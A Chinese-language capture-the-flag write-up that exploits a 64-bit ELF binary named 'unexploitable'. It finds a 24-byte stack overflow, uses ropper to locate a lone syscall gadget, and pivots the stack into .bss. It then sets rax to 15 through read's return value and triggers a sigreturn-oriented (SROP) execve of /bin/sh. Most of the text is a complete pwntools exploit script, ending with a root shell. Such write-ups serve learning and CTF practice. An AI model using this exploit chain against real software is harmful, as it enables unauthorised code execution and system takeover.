file unexploitable
unexploitable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=aba2c1fb7a4bca286d75e23006f9fe01dfcb03c2, not stripped
ida打开,看到典型的栈溢出,offset为0x10+8 = 24
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [sp+0h] [bp-10h]@1
sleep(3u);
return read(0, &buf, 0x50FuLL);
}
got表中没有system,也没有write,puts之类的输出函数,没办法泄露libc,使用ROPgadget也搜不到syscall。(ROPgadget似乎存在一个缺陷,无法把单独的syscall识别成一个gadgetROPgadget无法查找到syscall,我们使用ropper来查找)
使用ropper查找gadget
ropper -f unexploitable |grep syscall
/usr/lib64/python2.7/site-packages/cffi/cparser.py:164: UserWarning: Global variable 'r' in cdef(): for consistency with C it should have a storage class specifier (usually 'extern')
"(usually 'extern')" % (decl.name,))
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000400560: syscall;
使用objdump -d unexploitable |less
查找read地址
0000000000400430 <read@plt>:
400430: ff 25 ca 0b 20 00 jmpq *0x200bca(%rip) # 601000 <read@GLIBC_2.2.5>
400436: 68 00 00 00 00 pushq $0x0
40043b: e9 e0 ff ff ff jmpq 400420 <.plt>
通过ida_pro查看到read函数的地址
.text:000000000040055B lea rax, [rbp+buf]
.text:000000000040055F mov edx, 50Fh ; nbytes
.text:0000000000400564 mov rsi, rax ; buf
.text:0000000000400567 mov edi, 0 ; fd
.text:000000000040056C mov eax, 0
.text:0000000000400571 call _read
.text:0000000000400576 leave
.text:0000000000400577 retn
.text:0000000000400577 main endp
我们可以通过stack pivot将sh读取到一个特定的地址
syscall_addr = 0x400560
set_read_addr = 0x40055b
read_addr = 0x400571
fake_stack_addr = 0x60116c
fake_ebp_addr = 0x60116c
binsh_addr = 0x60115c
io = remote('172.17.0.3', 10001)
payload = ""
payload += 'a'*16 #padding
payload += p64(fake_stack_addr) #两次leave造成的stack pivot,第一次使rbp变为0x60116c, rbp+buf为0x60115c
payload += p64(set_read_addr) #lea rax, [rbp+buf]; mov edx, 50Fh; mov rsi, rax; mov edi, 0; mov eax, 0; call _read
io.send(payload)
执行完第二次read之后,我们测试用的数据1234被读取到了固定地址0x60115c处,然而由于call _read后的leave,栈也被劫持到了0x601174.此时rip又指向了retn,所以我们把测试数据替换成ROP链就可以继续进行操作。这里我们可以顺势把”/bin/sh\x00”放在0x60115c,然后接上一些填充字符串,在0x601174接rt_sigreturn,后面接SigreturnFrame,就完成SROP了。
------------
/bin/sh\x00 | 0x60115c
------------|
padding |
------------|
new ebp | 0x60116c
------------|
rt_sigreturn| 0x601174 fake rip
------------
栈中的结构如下
---------------
padding |
---------------|
fake_stack_addr| rbp address,作用是将rbp跳转到新的rbp
---------------|
read_addr | return addr
---------------
但是问题是我们只有syscall,怎么设置rax=0xf从而调用rt_sigreturn呢? 我们知道read的返回值是其成功读取的字符数,而i386/amd64的返回值一般保存在eax/rax中。因此,我们可以先再次调用read读取15个字符,然后执行到retn时调用syscall。因此构造payload如下
------------
/bin/sh\x00 | 0x60115c
------------|
padding |
------------|
new ebp | 0x60116c ,指向0x60117c
------------|
read addr | 0x601174 return addr
------------|
new new ebp | 0x60117c ,指向0x60116c
------------|
syscall_addr| 0x601184
------------|
frameExecve | syscall_addr下面直接跟着等待恢复的frameExecve
------------
最终的exp代码
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(os = 'linux', arch = 'amd64')
syscall_addr = 0x400560 #这个通过`ropper -f unexploitable |grep syscall`找到
set_read_addr = 0x40055b #这个通过ida中main方法里的汇编,找到
read_addr = 0x400571 #.text:0000000000400571 call _read
fake_stack_addr = 0x60116c
fake_ebp_addr = 0x60116c
binsh_addr = 0x60115c # 程序通过bp-0x10来找到sh,所以sh的地址为fake_ebp_addr - 0x10 = 0x60115c
io = process('./unexploitable')
payload = "" #这个exp就是将sh字段放到binsh_addr中
payload += 'a'*16 #padding
payload += p64(fake_stack_addr) #两次leave造成的stack pivot,第一次使rbp变为0x60116c, rbp+buf为0x60115c
payload += p64(set_read_addr) #lea rax, [rbp+buf]; mov edx, 50Fh; mov rsi, rax; mov edi, 0; mov eax, 0; call _read 注意:这里是return address
io.send(payload)
sleep(3)
frameExecve = SigreturnFrame() #设置SROP Frame 这个是system(sh)
frameExecve.rax = constants.SYS_execve
frameExecve.rdi = binsh_addr
frameExecve.rsi = 0
frameExecve.rdx = 0
frameExecve.rip = syscall_addr
payload = "" #这个payload是发送给上一个rop的read函数
payload += "/bin/sh\x00" #\bin\sh,在0x60115c (binsh_addr)
payload += 'a'*8 #padding
payload += p64(fake_stack_addr+0x10) #在0x60116c,leave指令之后rsp指向此处+8,+0x18之后指向syscall所在栈地址
payload += p64(read_addr) #在0x601174,rsi, rdi, rdx不变,调用read,用下面的set rax输入15个字符设置rax = 15
payload += p64(fake_ebp_addr) #call read下一行是leave, rsp再次被换成fake_stack_addr+0x10+8, 即0x60117c+8。随便设置了一个可读写地址
payload += p64(syscall_addr) #在0x60117c+8,即0x601184,调用syscall。上一步的call read读取了15个字符,所以rax=0xf,这个syscall将会触发sys_sigreturn,触发SROP
payload += str(frameExecve) #syscall下面直接接SigreturnFrame
io.send(payload)
sleep(3)
io.send('/bin/sh\x00' + ('a')*7) #读取15个字符到0x60115c,目的是利用read返回值为读取的字节数的特性设置rax=0xf,注意不要使/bin/sh\x00字符串发生改变
sleep(1)
io.interactive()
最终的结果
python exp.py
[+] Starting local process './unexploitable': pid 18743
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)